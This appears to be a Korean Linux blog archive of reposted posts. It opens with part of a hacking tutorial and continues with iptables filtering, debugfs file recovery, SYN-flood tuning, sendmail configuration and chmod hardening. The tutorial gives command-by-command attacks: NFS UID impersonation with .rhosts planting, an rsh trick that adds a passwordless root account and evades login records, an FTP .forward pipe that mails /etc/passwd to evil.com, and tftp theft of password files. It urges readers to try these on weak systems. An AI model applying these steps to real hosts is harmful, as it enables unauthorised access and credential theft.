       1  drwxr-xr-x     7   root       wheel         512   Jun 19  1991   . .
       1  drwx--x--x     9   10001      deamon       1024   Jun  3  15:49  guest
    자 이제 상대편 디렉토리를 마운트 시켰고, 그 디렉토리를 들어가서 그 아래 guest라는 디렉토리가 있는 것을 볼 수 있다. 이 디렉토리는 1001의 UID를 갖는 사람의 소유임을 알 수 있고, 그 사람의 계정이 guest이고, home디렉토리가 바로 이 guest디렉토 리라는 것을 추정할 수 있다. 이제 목표가 정해졌다. 아직은 이 디렉토리의 접근 권한은 other의 권한밖에 없으므로 그 사람이 g uest디렉토리의 other접근 권한을 막아 놓았다면 아직은 그 디렉토리에 접근 할 수 가 없다. 이제 이 디렉토리의 접근 권한을 얻 어보자. 방법은 아주 간단하다. 자신의 시스템에 같은 UID를 갖는 사람의 계정을 하나 만들어 주고 내가 그 사람이 되는 거다 너 무나 우습게 쉬운 방법이다.

    evil # echo guest:x:10001:1:temporary breakin account:/: >>/etc/passwd
    evil # ls -alg
    total 3
       1 drwxr-xr-x  11   root    deamon     512   Jun 19  09:47   .
       1 drwxr-xr-x   7   root    wheel      512   Jun 19   1991   . .
       1 drwx--x--x   9   guest   deamon    1024   Jun  3  15:49   guest
    자신의 시스템에 같은 계정을 만들어주고 ls를 해보니 이제는 UID가 숫자로 나오지 않고, 계정으로 바뀌어 나온다. 이제 모든 준비는 끝났다. 내가 그 사람이 되어 그 사람 디렉토리를 마음대로 사용할 수 있다. 하지만 여기에 하나의 테크닉이 더 있다. 그 사람의 home디렉토리에 .rhost라는 파일에 자신의 서버이름을 적어 주면 다음 부터는 나의 시스템에서 그사람이 된 다음 바로 그 시스템으로 로그인을 할 수 있게 된다. 물론 패스워드가 필요없이... 그렇다면 지금 보다는 더 많은 일들을 그곳에서 할 수 있게된다. 자. 이제 마지막이다. 여기서 ''evil.com''은 내 시스템의 도메인 네임이다.

    evil # su guest
    evil % echo evil.com >> guest/.rhosts
    evil % rlogin victim.com
    Welcome to victim.com!!
    victim %
    만약에 공개된 디렉토리가 /bin과 같이 실행 파일이 있는 디렉토리라면 당신은 그곳에 트로이 목마를 저장시켜 다른 사람으로 하여금 실행시킬 수 도 있을 것이다.
    하지만 이 방법은 당신이 그 시스템에서 root의 권한을 가지지 못하기 때문에 당신이 그곳에 접속한 기록 파일을 지울 수 없다 . 그 쪽에서 마음만 먹으면 당신의 경로를 추적할 수도 있다.
    부디 다른 시스템에 해가 되는 장난은 하지 말고 가벼운 실험에서 끝나기를 바란다. 이상.

     


    2. 다른 시스템에서 root되기
    이 방법이 통하는 시스템은 요즘은 거의 없다. 하지만 간혹 부실한 옛 컴퓨터에는 통할 지도 모르니 한 번쯤 도전해 봐도 좋다 . 성공한다면 당신은 그 시스템의 최고 권력자가 된다.
    이 방법은 /etc/hosts.equiv에 "+"의 와일드 카드를 가지거나 약간의 버그로 인해 가능해지는데, 한마디로 루트가 아 닌 사람이 상대편 호스트로 패스워드 없이 로그인 해서 그곳의 /etc/passwd파일을 수정하는 것이다.
    이 방법을 써먹기 위해서는 물론 당신이 자신의 시스템에서 루트이어야한다. 먼저 당신은 당신 시스템에서 bin이 된다. 그리고 상대편 호스트에 멋지게 로그인 한다음에 그곳의 패스워드 파일에 루트와 같은 UID를 가지는 자신의 계정을 추가 시킨 후 유유히 빠져나온다.

    evil % whoami
    bin
    evil % rsh victim.com csh -i
    Warning: no access to tty; thus no job control in this shell...
    victim %
    이제 당신은 상대편 시스템으로 들어왔다. 많은 일을 할 수는 없지만, 당신이 필요로 하는 일은 충분히 가능하다. 이제 /etc디렉토리에 있는 passwd파일에 자신의 계정을 써 넣는다. more나 vi 등의 명령은 통하지 않으니 아래의 방법을 권장한다.

    victim % cd /etc
    victim % mv passwd pw.old
    victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
    victim % ^D
    evil %
    이제 모든 것이 끝났다. 당신의 막강한 루트권한을 가진 계정으로 접속을 해보아라.

    evil % rlogin victim.com -l toor
    Welcome to victim.com!
    victim #
    위의 방법은 시스템의 기록 파일들인 wtmp나 utmp에 기록을 남기지 않고, finger나 who등으로도 알아낼 수가 없기 때문에 꽤 쓸 만한 방법이다. 하지만, 이 방법에 의해 접근될만한 시스템이 현재는 많지 않다. 이 remote shell은 터미널 의존적이지 않기 때문에 앞에 말했듯이 vi나 more같은 스크린에 기반한 프로그램은 동작하지 않는다.
    COPS라는 자체 보안 프로그램은 이러한 해킹에 드러난 취약점을 발견해주니 관리자는 한 번쯤 사용해 보기를 권한다. tcp wrapper같은 프로그램도 이러한 로그인을 발견할 수 있으니 관심있는 사람은 사용해 보세요.

     

    3. FTP와 메일을 이용하여 상대편 호스트의 passwd파일 가져오기
    이방법은 먼저 anonymous서비스를 해주는 ftp서버에서 ftp의 home 디렉토리가 요즘처럼 ~ftp/ 같이 따로 있지 않고 root디렉토 리에 있을 경우와 그 디렉토리에 파일을 올려놓을 수 있게 된 시스템에서만 가능하다.
    여기서는 mail에서 사용되는 .forward파일을 사용한다. .forward는 어떠한 계정의 home디렉토리에 있으면서 그 계정으로 온 mail을 다른 곳으로 보내주는것에 대한 정보가 기록된다.
    당신은 먼저 ftp에 접속을 한다. 그러면 로그인 된 디렉토리는 그곳의 root디렉토리일 것이고, 그곳의 /etc에는 passwd파일이 있을 것이다. 이것을 가져오는 것이다. 그곳 ftp의 home디렉토리, 즉 root디렉토리에다 당신이 그곳에 접속하기전에 미리 만들어 놓은 파일을 .forward라는 이름으로 올려놓는다. 그러면 이제 passwd파일을 가져오기 위한 준비가 끝난다. 여기서 zen은 자신의 호스트에 있는 자신의 계정이다.
    가장 먼저 .forward로 올려지게 될 파일을 작성한다.

    evil % cat forward_suck_file
    "|/bin/mail zen@evil.com < /etc/passwd"
    이제 ftp서버에 접속해서 이 파일을 .forward라는 이름으로 ftp의 home디렉토리에 올려놓는다.

    evil % ftp victim.com
    Connected to victim.com
    220 victim FTP server ready.
    Name (victim.com:zen) : ftp
    331 Guest login ok, send ident as password.
    password:
    230 Guest login ok, access restrictions apply.
    ftp> ls -lga
    200 PORT command successful.
    150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 byte).
    total 5
    drwxr-xr-x   4   101     1              512   Jun  20    1991  .
    drwxr-xr-x   4   101     1              512   Jun  20    1991  . .
    drwxr-xr-x   2   0       1              512   Jun  20    1991  bin
    drwxr-xr-x   2   0       1              512   Jun  20    1991  etc
    drwxr-xr-x   3   101     1              512   Aug  22    1991  pub
    226 ASCII Transfer complete.
    242 byte received in 0.066 seconds (3.6 Kbyte/s)
    ftp> put forward_sucker_file .forwar

    d
    43 byte sent in 0.0015 seconds (28 Kbyte/s)
    ftp> quit
    evil %
    자 이제 그곳의 ftp에게 편지를 보내보자 당신이 올려놓은 .forward파일에 의해 그곳의 passwd파일이 당신에게 mail로 전달될 것이다.

    evil % echo test | mail ftp@victim.com
    COPS라는 자체 보안 프로그램은 당신의 시스템에 이러한 FTP의 구멍이 있는지를 점검해준다. 이러한 취약점은 100% 관리자의 소홀이다. ftp의 home디렉토리를 따로 ~ftp/에 만들어 주든지 각 디렉토리와 파일의 접근 권한을 적절히 지정해 준다면 절대 일어나지 않을 hacking방법이다

     

    4. FTP에서 root권한을 가지는 옛날 방법
    이 방법은 ftp에서 root의 권한을 획득하는 오래전의 방법이다. 물론 당신의 시스템이 아직도 이런 bug를 가진 ftpd로 구동되고 있다면 ftpd를 빠른 시일내에 업그레이드 시켜야 할 것이다. 해킹 방법은 간단하다. 아래와 같이 몇줄의 간단한 명령으로 끝이난다 .

    evil % ftp -n
    ftp> open victim.com
    connected to victim.com
    220 victim.com FTP server ready.
    ftp> quote user ftp
    331 Guest login ok, send ident as password.
    ftp> quote cwd ~root
    530 Please login with USER and PASS.
    ftp> quote pass ftp
    230 Guest login ok, access restriction apply.
    ftp> ls -al / (or whatever)
    만약에 위의 방법이 성공되었다면, 당신은 ftp에 root의 권한으로 login된 것이다. 당신은 ftp의 모든 기능을 활용해 passwd파 일을 바꾸거나 당신이 원하는 모든일을 할 수 있다.
    이제는 이런 버그를 가진 시스템이 없겠지만 아직도 있다면 부디 각성바란다.

    5. tftp로 상대 호스트의 passwd파일 가져오기
    ftp와 비슷한 프로그램으로 tft나 기타 기본적인 기능을 가진 파일전송 프로그램이 있다. 이 데몬은 확인을 위해 비밀번호를 요구하지 않는다. 만약에 그 시스템에서 특별히 접근권한을 제한하지 않았다면 당신은 그 시스템에 읽거나 쓰기를 마음대로 할 수 있다. 아래와 같이 하면 간단히 자신의 /tmp 디렉토리로 상대 호스트의 /etc/passwd 파일을 가져올 수 있다.

    evil % tftp
    tftp> connect victim.com
    tftp> get /etc/passwd /tmp/passwd.victim
    tftp> quit
    위에서와 같은 도둑질을 막기 위해서는 역시 간단하다. tftp같은 프로그램을 사용하지 못하게 하면 된다. tftp가 꼭 필요하다면 , 안전을 위해 플래그나 옵션 등을 적절히 사용하여 접근 권한을 제한하거나, chroot wrapper 프로그램의 관리 아래에 두면 된다 

     

     

    'OS > LINUX' 카테고리의 다른 글

    [펌] linux setup for hosting  (0) 2004.06.21
    [펌] RedHat 9.0 설치후 기본셋  (0) 2004.06.14
    [펌] Iptables를 이용한 Packet Filtering  (0) 2004.06.10
    [펌] rm으로 지운파일 복구하기  (0) 2004.06.10
    [펌] Dos 공격막기  (0) 2004.06.10
    Posted by tornado
    |

    1.    ‘Packet Filtering’?

     

    Packet filter는 지나가는 packet header를 살펴보고 그 전체 packet의 운명을 결정하는 소프트웨어의 일부이다. 이것은 packet'DROP'(, 마치 전혀 전달되지도 못 했던 것처럼 packet을 거부) 하던가, 'ACCEPT'(, packet이 지나가도록 내버려 둠) 하던가 또는 다른 더욱 복잡한 무엇을 할 것인가를 결정할 것이다.

     

    2.    ‘Packet Filtering’은 왜 필요한 것인가?

     

    1)      제어

    내부 네트워크에서 다른 네트워크로 인터넷을 이용하여 접속을 하고자 할 때 어떤 형태의 전송은 가능하게 하고 다른 것은 불가능하게 할 수 있다. 예를 들어, packet header에는 목적지의 주소를 포함하고 있고 이것으로 packet이 바깥 네트워크의 다른 곳으로 가지 않도록 한다. 다른 예로, 나는 인터넷으로 스포츠 신문을 보기 위해 Explorer를 이용하는 상황을 생각해 보자. 그곳의 웹 페이지에는 NATE의 광고가 있고 Explorer는 그 광고를 받기 위하여 나의 시간을 소비한 다. Nate.com의 주소로 가거나 또는 그곳에서 오는 어떠한 packet도 허락하지 않도록 packet filter에게 이야기 해 놓음으로 이 문제를 해결할 수 있다.

     

    2)      보안:

    컴퓨터 network는 누구나 사용할 수 있는 것이기 때문에 외부로부터 자신의 컴퓨터 시스템을 보호해야 한다. 그러기 위해서는 건물에 경비 아저씨가 있는 것처럼 나쁜 정보나 불확실한 의도를 가진 것들을 내 컴퓨터에 들어오기 전에 미리 차단하는 것이 필요하다. 따라서 어떠한 정보는 허용하고 어떠한 것은 차단하는 방법이 요구된다. 예를 들어, 여러분은 여러분의 네트워크로부터 나가는 모든 것을 허용하고 싶지만, 반면에 밖으로부터 들어오는, "죽음의 핑" 같은, 악의 있는 것에 대하여는 차단해야 한다. 다른 예로, 아무리 여러분 리눅스 박스의 모든 계정사용자가 암호를 가지고 있다고 하더라도 바깥으로부터의 telnet 시도는 바라지 않을 것이다. 대부분의 사람들처럼 인터넷에서 구경꾼 이 되고 싶고 제공자는 되고 싶지 않을 것이다. 간단히 말해서, 접속 중에 모든 들어오려는 packetpacket filter를 이용하여 거부하려고 할 것이다.

     

    3)      관찰가능성

    가끔 잘못 설정된 지역네트워크는 packet을 바깥세상으로 토해놓는다. Packet filter에게 어떠한 이상한 일이라도 일어나면 시스템 혹은 사용자에게 알려 주도록 말해 두는 것은 근사한 일이다. 이런 일에 대하여 무엇인가를 할 수도 있고 그냥 '이상한 일이네' 하고 넘길 수도 있다. 내 컴퓨터에서 유입 혹은 유출되고 있는 정보에 대한 monitoring을 할 수 있다는 점에서 유용하다.

     

    3.    Filtering Factors

     

    1)    Protocol

     

    프로토콜은 '-p' 지시자로 지정할 수 있다. 프로토콜을 숫자가 될 수 있고 (IP의 프로토콜 번호를 알고 있다면) 'TCP', 'UDP', 'ICMP' 같은 이름이 될 수도 있다. 그리고 'tcp' 'TCP'와 같은 역할을 한다.

    프로토콜 이름 지정에 '!'을 이용할 수 있다. '-p ! TCP'

     

    Ex) ./iptables –A INPUT –p TCP –j DROP

      è 들어오는 모든 TCP packet을 차단

     

    -        extension option  

     

          TCP Extension

    --tcp-flags  : '!' 옵션을 사용한다면 이것 뒤에 두 개의 단어를 사용한다. 첫 번째 것은 검사하고자 하는 지시자 리스트의 마스크이다. 두 번째 단어는 지시자에게 어떤 것이 설정 될 것인지를 말해준다. 예를 들어,

    # iptables -A INPUT –p tcp --tcp-flags ALL SYN,ACK -j DENY

    이것은 모든 것이 검사되어야 함을 말한다.('ALL' `SYN,ACK,FIN,RST,URG,PSH' 와 같다.) 그러나 SYN ACK 만 설정된다. 'NONE'는 지시자가 없음을 말한다.

     

    --syn :  '!' 옵션이 선행될 수 있다. 이것은 '--tcp-flags SYN,RST,ACK,SYN'의 약어이다. SYN flag가 붙어있는 packet Connection 초기화 packet으로서 처음 서비스를 요청할 때 SYN packet이 오게 된다. SYN packet만 막으면 자신은 다른 곳으로부터 서비스 되는 packet을 받을 수 있으면서, 자기 컴퓨터로 들어오는 서비스 요청은 차단할 수 있다.

     

    ICMP Extension

    --icmp-type : '!' 옵션이 선행될 수 있다. 이후에 ICMP 타입의 이름('host-unreachable') 이나 숫자형태 ('3'), 또는 숫자형태와 코드('/'로 분리 예. '3/3') 의 형 태가 사용된다. 사용할 수 있는 ICMP 형태의 이름의 리스트는 '-p icmp --help' 하면 나타난다.

     

    2)     Port

     

     기본적으로 하나의 source-port 혹은 하나의 destination-port에 대해 filtering 할 수 있고, 추가적인 module을 사용하면 한 번에 여러 개의 port를 동시에 지정할 수 있고, source & destination port를 모두 차단할 수 있다.

     

    --source-port : '!' 옵션이 선행될 수 있다. 이후에 하나의 TCP 포트나 포트의 범위를 지정한다. /etc/services 에 기록된 것과 같은 포트 이름이 사용될 수 도 있고 숫자로 나타낼 수도 있다. 범위는 두개의 포트 이름을 '-' 으 로 연결해서 사용하거나 (크거나 같은 경우를 위해서) 하나의 포트 뒤에 '-'를 사용하거나 (작거나 같은 경우를 위해서) 하나의 포트 앞에 '-' 를 덧붙일 수 있다.

    --sport : 이것은 '--source-port'와 동의어이다.

    --destination-port --dport 는 위의 내용과 같으나 목적지를 지정한다.

     

    Port 지정에는 port 번호를 직접 써도 되고 service의 이름을 사용할 수도 있다.

    Ex) http, telnet, ftp, smtp, rlogin, rsh 등등

     

    l      mport patch

     

    포트를 여러 개를 동시에 지정해서 명시한다.

     

    Ex) –m mport –ports 20:23, 80...  è 20-23, 80 port를 차단 (source, destination 동시)

     

    ♦ 사용법

    -m mport     +      --source-ports  xxxx   (source port filtering)

                         --destination-ports xxxx (destination port filtering)

                         --ports xxxx            (source destination 둘 다)

     

     

    3) IP

     

    packet source IP 혹은 destination IP로부터 filtering이 가능하다.

     

          source IP : xxx IP로부터 오는 모든 packet filtering한다.

    Ex) ./iptables –A INPUT –s 141.223.201.119 –j DROP

    è 141.223.201.119에서 오는 모든 packet을 차단한다.

     

          Destination IP : 목적지가 xxx IP인 모든 packet filtering한다.

    Ex) ./iptables –A INPUT –d 141.223.201.119 –j DROP

    è 141.223.201.119로 가는 모든 packet을 차단한다.

     

          여러 개의 IP 동시 지정하기

    : 한 개의 IP일 경우 그냥 써준다.

    : 여러 개의 IP 동시 지정.

    200.200.200.0/24 와 같이 설정한다면 200.200.200.* 에 해당하는 모든 IP.

    4부분을 8 비트로 보고, 24는 앞의 3부분의 IP가 같은 모든 IP를 뜻한다.

     

    4)    INTERFACE

     

     컴퓨터가 Local Area Network (LAN)에 있고 인터넷 접속이 가능하다고 가정하면 LAN eth0 Internet 연결은 ppp0로 구분할 수 있다.

     

    ¨       사용법

     

    i)                    input interface : -i option        +     eth0, ppp0, lo (localhost)

    ii)                   output interface : -o option

     

    ex) telnet service LAN 상의 컴퓨터에게는 허락하고, Internet 상에서는 연결할 수 없도록 하고 싶다면,

     

      ./iptables –A INPUT –p tcp –destination-port telnet –I ppp0 –j DROP

     

    5)    SPI (security parameter index)

     

    ``ah'' : Security Parameter Index (SPI)에 기초한 AH 패킷을 match할 수 있도록 한다.

    ``esp'' : SPI에 기초한 ESP 패킷을 match할 수 있도록 한다.

     

    # iptables -A INPUT -p 51 -m ah --ahspi 500 -j DROP

    è 500과 일치하는 SPI를 가지는 모든 AH 패킷을 DROP 시킨다.

     

    ah match가 지원하는 옵션 : --ahspi [!] spi[:spi] -> match spi (range)

    esp match가 지원하는 옵션 : --espspi [!] spi[:spi] -> match spi (range)

    6)    The Number Of Connection

     

    Iplimit module을 사용해서 특정 host network로부터의 TCP 연결 개수를 제한할 수 있 다. 

     

    ¨       사용법

     -m iplimit      +       --iplimit-above N (숫자)

                            --iplimit-mask N ( ex. 8 : Class A에 대한)  –iplimit-above N

     

     ex) ./iptables –A INPUT –p tcp –-syn –-dport http –m iplimit –-iplimit-above 4 –j REJECT

     è 자신의 컴퓨터로 들어오는 http 연결을 4개로 제한한다.

     

     

    7)    IP option

     

    Ipv4options module을 사용하면 설정된 ip option에 의해 패킷을 filtering 할 수 있다.

     

    ¨       사용법

     

    -m ipv4options    +    --ssrr   à  strict source routing flag match되는 것 filtering

                            --lsrr   à  loose source routing flag             

                            --no-srr  à source routing을 가지지 않는 packet match

                                                             되는 것을 filtering

                            --rr     à  record route flagmatch 되는 것을 filtering

                            [!] –-ts   à  time stamp flag option을 가지는 것

                            [!] –-ra    à  router-alert option

                            [!] –-any-opt   à 적어도 하나의 ip option을 가진 packet...

     

    ex)   ./iptables -A INPUT -m ipv4options --rr -j DROP

    ./iptables -A INPUT -m ipv4options --ts -j DROP

    è IP 옵션에 설정된 record-route 또는 timestamp를 가진 모든 packet DROP

     

    8)    Packet Length

     

    Length module을 사용하면 길이에 의한 filtering이 가능하다. 길이는 0x0000(0)부터 0xFFFF(65535)까지 지정할 수 있다.

    ¨       사용법

     

    [!] --length L(L packet length)   :  length L packet을 막는다 (or length L인 것          허용한다 (! 사용할 때))

    [!] --length L1 : L2   :  L1에서 L2 범위의 length를 막는다 (or 범위의 것만 허용한다)

     

    ex)   ./iptables -A INPUT -p icmp --icmp-type echo-request -m length --length 85:0xffff -j DROP

    è 85 바이트보다 큰 패킷 크기를 가진 모든 ping packetDROP한다.

     

    9)    Host / Broadcast / Multicast : type-base packet matching

     

     pkttype module

    'OS > LINUX' 카테고리의 다른 글

    [펌] RedHat 9.0 설치후 기본셋  (0) 2004.06.14
    [펌] ftp 이용한 Hacking  (0) 2004.06.10
    [펌] rm으로 지운파일 복구하기  (0) 2004.06.10
    [펌] Dos 공격막기  (0) 2004.06.10
    [펌] ☞ 센드메일 설정하기  (0) 2004.06.10
    Posted by tornado
    |
    갠적으로 호되게 당한적이 있었는뎅 흐흐흐
    이제 걸리면 죽었어 ..ㅋㅋㅋㅋ

    우연히 알게되어 나름대로 제 방식대로 글을 쓰고 혹시나 해서 kltp.kldp.org 에서
    찾아보니 있더군요.. 에고 팔 아퍼... ^^;;

    아래는 제 방식대로의 Tip&Tech 입니다.
    ----------------------------------------------------------------------
    리눅스에서의 파일 삭제는 신중을 기해야 한다. 왜냐면 삭제된 파일은 복구 할 수
    없기 때문이다. 이것이 정석이였습니다.

    물론 rm 의 소프트링크나 다른 삭제 프로그램으로 대체하는 프로그램들도 있습니다
    만 rm 자체의 복구는 없다고 알고 있으신 분들이 대부분 일 겁니다.

    해답은

    debugfs 라는 명령어 입니다. (man page 참조)

    실제 사용예를 들어 설명하겠습니다.

    가정1) /home/pds/portsentry.tar.gz 라는 파일이 있음.
    가정2) /home 파티션은 hda8 입니다. (df -h 로 확인)
    가정3) rm -f /home/pds/portsentry.tar.gz 명령으로 지웠음.
    가정4) root 로 작업.

    복구 절차.

    1. #debugfs /dev/hda8

    => 설명 : hda8 파티션에 대해서 검사를 한다.

    2. debugfs:

    => 대기상태를 뜻함. 이곳에서 lsdel 을 입력하고 엔터.
    계속...

    debugfs: lsdel
    99 deleted inodes found.
    Inode Owner Mode Size Blocks Time deleted
    108123 0 100644 239 1/ 1 Thu Jan 3 01:25:33 2002
    18417 0 100644 426625 420/ 420 Thu Jan 3 01:26:34 2002
    45007 0 100644 343 1/ 1 Thu Jan 3 01:29:59 2002
    28691 0 100400 879 1/ 1 Thu Jan 3 01:38:29 2002
    18394 0 40755 0 1/ 1 Thu Jan 3 01:58:54 2002
    ..
    .
    14356 0 100644 2325 3/ 3 Fri Jan 25 16:13:24 2002
    61239 0 100644 43034 44/ 44 Fri Jan 25 16:13:31 2002
    debugfs:

    위와 같은 상태로 나오고 다시 대기상태로 됩니다. 실제로는 너무 많이 나오더군
    요.. (내가 그렇게 많이 지웠었나? '.'a)

    이제 이 목록중에서 하나를 선택해서 살려야 합니다. 다행히도 살리고자 하는 파일
    은 가장 최근에 지운 파일이므로 가장 아래쪽에 있는 것이겠죠.

    debugfs: dump <61239> /home/debugfs/portsentry.tar.gz

    => Inode 값을 <> 안에 적어줍니다. 뒤에는 복구할 파일 이름을 적어주시면 됩니다.
    => 복구할 파일은 다른 디렉토리로 지정해 주시는게 좋습니다. 별 상관은 없지만...

    #cd /home/debugfs
    #tar -zxvf portsentry.tar.gz // 정상적으로 압축이 풀리더군요.

    => 아주 훌륭하게 복구가 되었더군요. ^^v

    임의로 portsentry.tar.gz 를 지워서 테스트를 한 것입니다.

    debugfs: 상태에서 사용할 수 있는 명령어는 help 를 쳐보면 알 수 있습니다.
    끝내는 것은 q, quit 입니다.



    아래는 debugfs: 에서 사용가능한 명령어들 입니다.
    ---------------------------------------------------------------------

    Available debugfs requests:

    show_debugfs_params, params
    Show debugfs parameters
    open_filesys, open Open a filesystem
    close_filesys, close Close the filesystem
    feature, features Set/print superblock features
    dirty_filesys, dirty Mark the filesystem as dirty
    init_filesys Initalize a filesystem (DESTROYS DATA)
    show_super_stats, stats Show superblock statistics
    ncheck Do inode->name translation
    icheck Do block->inode translation
    change_root_directory, chroot
    Change root directory
    change_working_directory, cd
    Change working directory
    list_directory, ls List directory
    show_inode_info, stat Show inode information
    link, ln Create directory link
    unlink Delete a directory link
    mkdir Create a directory
    rmdir Remove a directory
    rm Remove a file (unlink and kill_file, if appropriate)
    kill_file Deallocate an inode and its blocks
    clri Clear an inode's contents
    freei Clear an inode's in-use flag
    seti Set an inode's in-use flag
    testi Test an inode's in-use flag
    freeb Clear a block's in-use flag
    setb Set a block's in-use flag
    testb Test a block's in-use flag
    modify_inode, mi Modify an inode by structure
    find_free_block, ffb Find free block(s)
    find_free_inode, ffi Find free inode(s)
    print_working_directory, pwd
    Print current working directory
    expand_dir, expand Expand directory
    mknod Create a special file
    list_deleted_inodes, lsdel
    List deleted inodes
    write Copy a file from your native filesystem
    dump_inode, dump Dump an inode out to a file
    cat Dump an inode out to stdout
    lcd Change the current directory on your native
    filesystem
    rdump Recursively dump a directory to the native filesystem
    help Display info on command or topic.
    list_requests, lr, ? List available commands.
    quit, q Leave the subsystem.

    'OS > LINUX' 카테고리의 다른 글

    [펌] ftp 이용한 Hacking  (0) 2004.06.10
    [펌] Iptables를 이용한 Packet Filtering  (0) 2004.06.10
    [펌] Dos 공격막기  (0) 2004.06.10
    [펌] ☞ 센드메일 설정하기  (0) 2004.06.10
    [펌] ☞ chmod 700변경하기  (0) 2004.06.10
    Posted by tornado
    |

    [펌] Dos 공격막기

    OS/LINUX 2004. 6. 10. 12:52
    Tcp Syn Flooding은 웹으로의 공격이 대부분이므로 syn_recv 프로세스가
    일정 개수가 넘게 되면 아파치를 재시작한다. 지속적인 공격일 경우 대처
    방안으로 두 가지 방법이 있다.
    첫째, sysctl -a |grep syn_backlog으로 확인 후 backlog를 늘려주거나 둘
    째, sysctl -a |grep syncookies로 확인 후 syncookies의 값을 1로 바꾸어
    준다. syn_backlog의 값을 조정해주는 방법은 다음과 같다.

    # sysctl -w net.ipv4.tcp_max_syn_backlog=1024
    # echo 1024 > /proc/sys/net/ipv4/tcp_max_syn_backlog

    syncookies의 값은 다음과 같이 변경이 가능하다.

    # sysctl -w net.ipv4.tcp_syncookies=1

    vi /etc/sysctl.conf
    추가
    # Enable TCP SYN Cookie Protection
    net.ipv4.tcp_syncookies=1

    /etc/rc.d/init.d/network restart

    OK!!

    'OS > LINUX' 카테고리의 다른 글

    [펌] Iptables를 이용한 Packet Filtering  (0) 2004.06.10
    [펌] rm으로 지운파일 복구하기  (0) 2004.06.10
    [펌] ☞ 센드메일 설정하기  (0) 2004.06.10
    [펌] ☞ chmod 700변경하기  (0) 2004.06.10
    [펌] ☞ anonymous ftp 막기  (0) 2004.06.10
    Posted by tornado
    |

    sendmail => http://www.sendmail.org

     

    센드메일 설정하는 절차

     

    #cd /etc/mail

    #vi sendmail.mc

     

    43,44줄 dn1 주석제거 -->스팸메일방지

    TRUST_AUTH_MECH(`EXTERNAL DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dn1

    define(`confAUTH_MECHANISMS',`EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5

    LOGIN PLAIN')dn1

     

    85줄 127.0.0.1 => 0.0.0.0

    DAEMON_OPTION(`Port=smtp,Addr=0.0.0.0,Name=MTA')dn1

     

    #m4 sendmail.mc > sendmail.cf

    #vi local-host-names

     

    blueji78.com

    mail.blueji78.com

    www.blueji78.com

     

    #vi access

    blueji78.com          RELAY

    mail.blueji78.com          RELAY

    www.blueji78.com          RELAY

     

    #makemap hash access < access

    #makemap hash mailertable < mailertable

    #makemap hash domaintable < domaintable

    #makemap hash virtusertable < vitusertable

    #vi sendmail.cf

     

    89줄

    Cwblueji78.com

    Cwmail.blueji78.com

    Cwwww.blueji78.com

     

    147줄

    Dnblueji78.com

     

    1216줄 근방에

    #anything else is bogus

    #R$*                        $#error $@ 5.7.1 $: "550 Relaying denied"

     

    1299줄 근방에

    #R<FAIL>                 $#error $@ 5.7.1 $: "550 Relaying denied. IP name

    lookup failed "$&{client_name}

     

    #setup 실행 시켜서 아래의 항목을 체크한다.

    mailman

    ipop3

    pop3s

    sendmail

    server

     

    #/etc/rc.d/init.d/sendmail restart

     

    SMTP 테스트

    [root@ns]# telnet blueji78.com 25
    Trying 192.168.1.1...
    Connected to blueji78.com (192.168.1.1).
    Escape character is '^]'.
    220 kyongjumall ESMTP Sendmail 8.12.8/8.12.8; Sun, 30 May 2004 19:26:27 +0900
    EHLO blueji78.com
    250-kyongjumall Hello [192.168.1.1], pleased to meet you
    250-ENHANCEDSTATUSCODES
    250-PIPELINING
    250-8BITMIME
    250-SIZE
    250-DSN
    250-ETRN
    250-AUTH GSSAPI
    250-DELIVERBY
    250 HELP

     

    위의 출력이 나오면 SMTP 가 성공이다.

    quit 타이핑을 하고 빠져나온다.

     

    #telnet blueji78.com 110

    Trying 192.168.1.1...

    connected to blueji78.com (192.168.1.1).

    Escape character is '^]'.

    +OK POP3 [192.168.1.1] v2001.78rh server ready

     

    quit타이핑을 하고 빠져나온다.

    지금까지 센드메일 설정이었습니다.

    'OS > LINUX' 카테고리의 다른 글

    [펌] rm으로 지운파일 복구하기  (0) 2004.06.10
    [펌] Dos 공격막기  (0) 2004.06.10
    [펌] ☞ chmod 700변경하기  (0) 2004.06.10
    [펌] ☞ anonymous ftp 막기  (0) 2004.06.10
    [펌] ☞ root 접속제한  (0) 2004.06.10
    Posted by tornado
    |

    chmod 700변경하기

    본 권한변경 목적은 계정을 통하지 않은 불법적인 접근을 막기 위한 방법으로 가능한 필요하지 않은 파일들의 권한을 변경해 주시기 바랍니다.특히 suid가 걸린 파일의 경우 절대적으로
    권한변경을 해주시기 바랍니다.


     

    #서버 이용자 파악을 하지 못하게 함
    /usr/bin/finger (chmod 700 적용) 
    /usr/bin/nslookup (chmod 700 적용)

    /usr/bin/gcc (chmod 700 적용) 
    #suid 걸린 파일

    /usr/bin/suidperl (chmod 700 적용)
    /usr/bin/whereis (chmod 700 적용)

    #소스 컴파일은 루트이외에 못하도록 조치
    /usr/bin/cc (chmod 700 적용) 

    #perl중에 suid걸린 파일임
    /usr/bin/sperl5.00503 (chmod 700 적용)
    /usr/bin/c++ (chmod 700 적용)
    /usr/bin/make (chmod 700 적용)
    /usr/bin/pstree (chmod 700 적용)
    /usr/bin/rlog
    (chmod 700 적용)

    #필요없는 경우에는 삭제 하시길
    /usr/bin/rlogin (chmod 700 적용)
    /usr/bin/which (chmod 700 적용)
    /usr/bin/who (chmod 700 적용)
    /usr/bin/w (chmod 700 적용)

    #아웃룩익스프레스가 아닌 계정상에서 텔넷으로메일을 확인하지 못하게 하십시요.

    /bin/mail (chmod 700 적용)

    /bin/ps (chmod 700 적용)
    /etc/hosts (chmod 700 적용)
    /etc/hosts.deny (chmod 700 적용)
    /etc/hosts.allow (chmod 700 적용)
    /usr/bin/top (chmod 700 적용)
    /usr/bin/find (chmod 700 적용)
    #이두 명령어는일반적으로 해커들이 해킹툴을 가져올때 자주쓰는 명령어
    /usr/bin/lynx (chmod 700 적용)
    /usr/bin/wget
    (chmod 700 적용) 


    shell-prompt>lynx --dump 가져올화일이 있는 url경로
    shell-prompt>wget 가져올화일이 있는url 경로

    'OS > LINUX' 카테고리의 다른 글

    [펌] Dos 공격막기  (0) 2004.06.10
    [펌] ☞ 센드메일 설정하기  (0) 2004.06.10
    [펌] ☞ anonymous ftp 막기  (0) 2004.06.10
    [펌] ☞ root 접속제한  (0) 2004.06.10
    [펌] 리눅스 2.6의 멋진 세상  (0) 2004.06.10
    Posted by tornado
    |

    anonymous ftp 막기


